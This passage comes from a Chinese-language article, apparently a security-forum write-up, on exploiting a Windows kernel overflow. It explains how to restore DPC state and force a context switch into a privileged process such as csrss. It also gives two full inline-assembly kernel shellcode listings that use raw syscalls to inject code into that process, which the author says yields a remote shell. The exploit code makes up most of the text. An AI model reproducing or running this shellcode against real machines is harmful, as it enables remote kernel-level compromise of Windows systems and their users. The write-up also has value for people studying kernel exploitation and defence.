xor eax, eax
lea edi, dword ptr [ebp-0x40]
ZeroStack:
stosd
loop ZeroStack
mov byte ptr [ebp-0x38], 0x18
lea edi, dword ptr [edx+0x3c]
push edi
lea edi, dword ptr [ebp-0x38]
push edi
lea edi, dword ptr [ebp-0x8]
push 0x1f0fff
push edi
mov al, 0x6a
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x10
mov byte ptr [ebp-0x3], 0x2
push 0x40
push 0x1000
lea edi, dword ptr [ebp-0x4]
push edi
push eax
lea edi, dword ptr [ebp-0xc]
push edi
push dword ptr [ebp-0x8]
mov al, 0x10
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x18
push 0x2
lea ebx, dword ptr [ebp-0x4]
push ebx
lea ebx, dword ptr [ebp-0xc]
push ebx
push dword ptr [ebp-0x8]
mov al, 0x59
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x10
mov edi, dword ptr [ebp]
pop edx
mov edx, dword ptr [edx-0x7c]
push dword ptr [edx+0x68]
pop dword ptr [edi+0x210]
push dword ptr [ebp-0xc]
pop dword ptr [edx+0x68]
add edi, 0x11c
push eax
push 0x120
push edi
push dword ptr [ebp-0xc]
push dword ptr [ebp-0x8]
mov al, 0xf0
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x100
xor eax, eax
mov esi, dword ptr [esp+0x38]
mov ebp,esp
add ebp,0x88
ret 0x2c
}
}
非安全返回法二
没实现非安全返回法一,因为里面的技术要点都包括在安全返回法和非安全返回法二里了,而且限制实在太大,很让人不爽。主要就是那个BAT的下载文件的内容,可以参见相关文章。
正如FLASHSKY所说,非安全返回法二的关键在于恢复DPC,不象安全返回法,我们完全不必关心线程切换和DPC调度。不过FLASHSKY夸大了DPC被破坏的情况,尤其是环境切换,就算在安全返回法里,在执行我们的代码时系统也进行了数次环境切换和DPC调度(在int 0x2e里发生)。先让我们看看一个DPC调度是怎样完成的,以下是KPCR结构中涉及到DPC调度的部分:
+7e0 uint32 DpcInterruptRequested
+7e4 void *ChainedInterruptList
+7e8 uint32 CachePad3[2]
+7f0 uint32 MaximumDpcQueueDepth
+7f4 uint32 MinimumDpcRate
+7f8 uint32 CachePad4[2]
+800 struct _LIST_ENTRY DpcListHead
+800 struct _LIST_ENTRY *Flink
+804 struct _LIST_ENTRY *Blink
+808 uint32 DpcQueueDepth
+80c uint32 DpcRoutineActive
+810 uint32 DpcCount
+814 uint32 DpcLastCount
+818 uint32 DpcRequestRate
+81c void *DpcStack
DPC的处理方法有两种,一种是把KDPC对象串上DpcListHead。在KiIdleLoop或KiDispatchInterrupt里,系统检测到当前DPC链表不为空,于是调用KiRetireDpcList,KiRetireDpcList设置当前DpcRoutineActive状态为TRUE(M$在这里把ESP的值赋与该成员,显然任何时刻ESP都是大于0的)并把DpcInterruptRequested设置为TRUE,然后从DpcListHead里取出串在该链表上的KDPC结构的DPC例程入口和参数。处理完后恢复原状并把DpcCount加一。另一种方法是等待KTIMER调度对象,DPC调度发生的频率是相当高的,但大部分时间都是处理定时器KTIMER过期DPC,很多DPC通过等待KTIMER的方法被在KiTimerExpiration->KiTimerListExpire里处理。这里的溢出是属于第一种方法,我们处于DPC调度中,DpcRoutineActive和DpcInterruptRequested都为TRUE,进行栈回溯就会发现是由KiIdleLoop调用了KiRetireDpcList。显然这两处成员得恢复原来的0值(其实不恢复也可以,在第一个int 0x2e里如果发生了DPC调度后就会帮我们恢复,但就会降低溢出的成功率,因为如果在int 0x2e在ATTACH进程前还没发生DPC调度系统就会蓝屏)。其实系统中有些蓝屏是系统有意调用KeBugCheck以防止你做某些事,这些事情如果你处理得好是不会对系统产生影响的,比如不能在DPC处理处于活动(就是DpcRoutineActive为TRUE)进行环境切换,但在这个漏洞溢出里我们第一步就是进行环境切换:)。所以突破系统对我们的刁难而完成系统本身的功能,就是我们对内核感兴趣的原因,能够控制整个操作系统真的很爽,扯远了,呵呵。恢复DPC有个技巧,既然上一次KiIdleLoop的调用是KiRetireDpcList,那么IDLE线程的KernelStack(ETHREAD+0x28)处的内容肯定指向KiIdleLoop里调用KiRetireDpcList后的下一条指令:
call nt!KiRetireDpcList
cmp dword ptr [ebx+0x128],0x0
如果不改动这里的话环境切换后系统恢复到这里执行,下一步就是判断保存在ebp里的DpcListHead代表的链表是否为空,但由于刚发生完一个环境切换ebp的值已经被修改为KTSS的值了,切换到IDLE线程后肯定出错。所以我们需要人为的对这个地址(指调用KiRetireDpcList后的下一条指令)做点手脚,加上0x2d,使它变为调用了SwapContext后的下一条指令:
call nt!SwapContext
lea ebp,[ebx+0x800]
显然ebp已经恢复了,DPC调度可以继续进行了。
恢复DPC我们有两种选择,一是将当前DPC跳过,二是重新把当前DPC(这里是ndisMDpc)加入DPC链表头准备下一次重新调度。前一种方法的好处是方便,可以省下不少代码,也是我使用的方法,不过有一个小问题,就是无法再PING通,会产生网络已被中断的错觉,其实网络是通的,SHELL也拿得到。第二种方法虽然网络功能一切正常,不过远程的机器会出现一些异常,比如开始菜单无法再用,当然SHELL也一切正常。两种方法的共同点都是必须为前面加锁的NDIS_MINIPORT_BLOCK结构解锁,该结构地址保存在IDLE线程堆栈中距离溢出点距离比较大的地方,所以可以很安全取到。
下一步就是进行环境切换,要切换的线程是我们选择的目标特权进程内内核栈未换出的线程。把要切换的线程赋给KPCR+0x124处,把下一个要切换的线程(IDLE线程)赋于KPCR+0x128处,并把IDLE线程状态(ETHREAD+02d byte State)改为待命(0x3)。然后就是通过改变CR3切换进程地址空、修改TEB描述符指向新线程TEB、从目标要切换线程中取出KernelStack赋于当前esp,记住,从这里开始我们已经处于新线程的堆栈中了,如果你之前有什么重要的信息压在IDLE线程的堆栈里,赶快在切换ESP前出栈吧。还有一点很重要的是,由于我们是强行把一个处于等待状态的线程进行环境切换并运行(要想找到处于就绪状态且属于目标特权进程的线程实在太考验RP了,其机率快可以比上抽六合彩了),就必须在等待链表KiWaitInListHead里把该线程摘除(这里说一下KiWaitInListHead和KiWaitOutListHead的区别,前者是处于等待状态且内核栈未被换出的线程链表,而后者是处于等待状态且内核堆栈已被换出的线程链表),否则就会在KiOutSwapKernelStack处发生死循环。最后就是直接返回到KiSwapContext(这是该线程上次环境切换时保存在堆栈中的),系统就会接管工作了(这里需要提出的是,其实IDLE线程自从被赋于KPCR+0x128并被改为待命后,早在第一个int 0x2e就被调度执行了)。
我开始时SHELLCODE的结构是先完成其它功能,再环境切换,结果遇到了个很奇怪的问题。就是在WinDBG里如果单步跟过ZwLockVirtualMemory的int 0x2e再g或者在该int 0x2e后任意处设置一个int 0x3断下来再g,系统都一切正常,但如果直接g或者干脆前面就没下过断点那么系统就会出现奇怪的问题。我猜想是WinDBG代替完成了一些DPC的调用。我曾经尝试解决这个问题,结果被郁闷了N次,主要是在WinDBG的干预下系统一切正常。后来想到前面几次环境切换和DPC调度都使用了IDLE线程的内核堆栈,而后面又直接修改回正常值(IDLE的KernelStack, 在ETHREAD+0x28处,是个不变的值,不修改的话调度后会返回到错误的回址),估计问题发生在这里,所以我把SHELLCODE前后结构改了,先环境切换再完成其它功能,这样不会再干预IDLE的内核栈,事实证明这样是正确的:)还有就是我的环境切换代码是一再精简过的SwapContext版本,把所有可有可无的代码全去掉了,比如修改KPCR中某些不会用到的成员的代码全去掉了,甚至连线程状态都没改,还是保持在等待状态,反正系统正常环境切换也不会检测正在运行的线程是什么状态,呵呵。
下面是内核SHELLCODE代码,转换成机器码大概320个字节。如果用第二种恢复DPC的方法大概350个字节。这段代码是在池中执行的,换成在堆栈中执行时记得把里面一些关于堆栈的偏移地址修正一下:
__declspec(naked)JustTest2()
{
__asm
{
call go1
go1:
pop eax
push eax
mov ebp, 0xffdff80c
mov ebx, dword ptr [ebp-0x2b0]
mov ebx, dword ptr [ebx+0x44]
xor eax, eax
push 0x73727363
FindProcess:
mov edi, esp
lea esi, dword ptr [ebx+0x1fc]
push 0x4
pop ecx
repe cmpsb
jecxz go2
mov ebx, dword ptr [ebx+0xa0]
sub ebx, 0xa0
jmp FindProcess
go2:
pop edx
mov dword ptr [ebp], eax
mov esi, dword ptr [esp+0x33c]
mov byte ptr [esi+0x2d], al
lea esi, dword ptr [ebx+0x50]
FindThread:
mov esi, dword ptr [esi]
test byte ptr [esi-0x86], 0x1
jnz go3
jmp FindThread
go3:
mov edx, dword ptr [ebx+0x18]
sub esi, 0x1a4
mov ebx, 0xffdff000
// lea ecx, dword ptr [ebp-0xc]
mov ebp, dword ptr [ebx+0x124]
mov dword ptr [ebx+0x128], ebp
inc byte ptr [ebp+0x2d]
mov edi, dword ptr [ebp+0x28]
add dword ptr [edi+0x8], 0x2d
// mov ebp, dword ptr [edi-0x8]
// add ebp, 0x4
// mov edi, dword ptr [ecx]
// mov dword ptr [edi], ebp
// mov dword ptr [ebp+4], edi
// mov dword ptr [ecx], ebp
mov dword ptr [ebx+0x124], esi
mov cl, byte ptr [esi+0x2c]
mov byte ptr [ebx+0x50], cl
mov ebp, dword ptr [esi+0x5c]
mov edi, dword ptr [esi+0x60]
mov dword ptr [edi], ebp
mov dword ptr [ebp+0x4], edi
pop edi
push dword ptr [esi+0x1c]
pop dword ptr [ebx+0x8]
mov esp, dword ptr [esi+0x28]
mov ecx, dword ptr [esi+0x20]
mov dword ptr [ebx+0x18], ecx
mov ebp, dword ptr [ebx+0x3c]
mov word ptr [ebp+0x3a], cx
shr ecx, 0x10
mov byte ptr [ebp+0x3c], cl
shr ecx, 0x8
mov byte ptr [ebp+0x3f], cl
mov ebp, dword ptr [ebx+0x40]
mov dword ptr [ebp+0x1c], edx
mov cr3, edx
push edi
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push 0x10
pop ecx
lea edi, dword ptr [ebp-0x40]
ZeroStack:
stosd
loop ZeroStack
mov byte ptr [ebp-0x38], 0x18
lea edi, dword ptr [esi+0x1e0]
push edi
lea edi, dword ptr [ebp-0x38]
push edi
lea edi, dword ptr [ebp-0x8]
push 0x1f0fff
push edi
mov al, 0x6a
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x10
mov byte ptr [ebp-0x3], 0x2
push 0x40
push 0x1000
lea edi, dword ptr [ebp-0x4]
push edi
push eax
lea edi, dword ptr [ebp-0xc]
push edi
push dword ptr [ebp-0x8]
mov al, 0x10
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x18
push 0x2
lea ebx, dword ptr [ebp-0x4]
push ebx
lea ebx, dword ptr [ebp-0xc]
push ebx
push dword ptr [ebp-0x8]
mov al, 0x59
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x10
mov edi, dword ptr [ebp]
pop edx
mov edx, dword ptr [edx+0x128]
push dword ptr [edx+0x68]
pop dword ptr [edi+0x1a0]
push dword ptr [ebp-0xc]
pop dword ptr [edx+0x68]
add edi, 0x19a
push eax
push 0x120
push edi
push dword ptr [ebp-0xc]
push dword ptr [ebp-0x8]
mov al, 0xf0
lea edx, dword ptr [esp]
int 0x2e
mov ebx, dword ptr [esp+0x14]
add esp, 0x5c
pop ecx
mov dword ptr [ebx], ecx
popfd
ret
}
}
//后的代码是用于第二种DPC恢复的。
后记:
内核溢出是一个全新的领域,里面有很多东西值得我们去探索。这篇文章就算是抛砖引玉,如果能给大家有所帮助,也就算达到目的了。很多地方都有很多不足,尤其是非安全返回法,还没找到能让系统完全恢复原样的方法。如果有什么错漏处或者可以改进的地方,欢迎向我提出。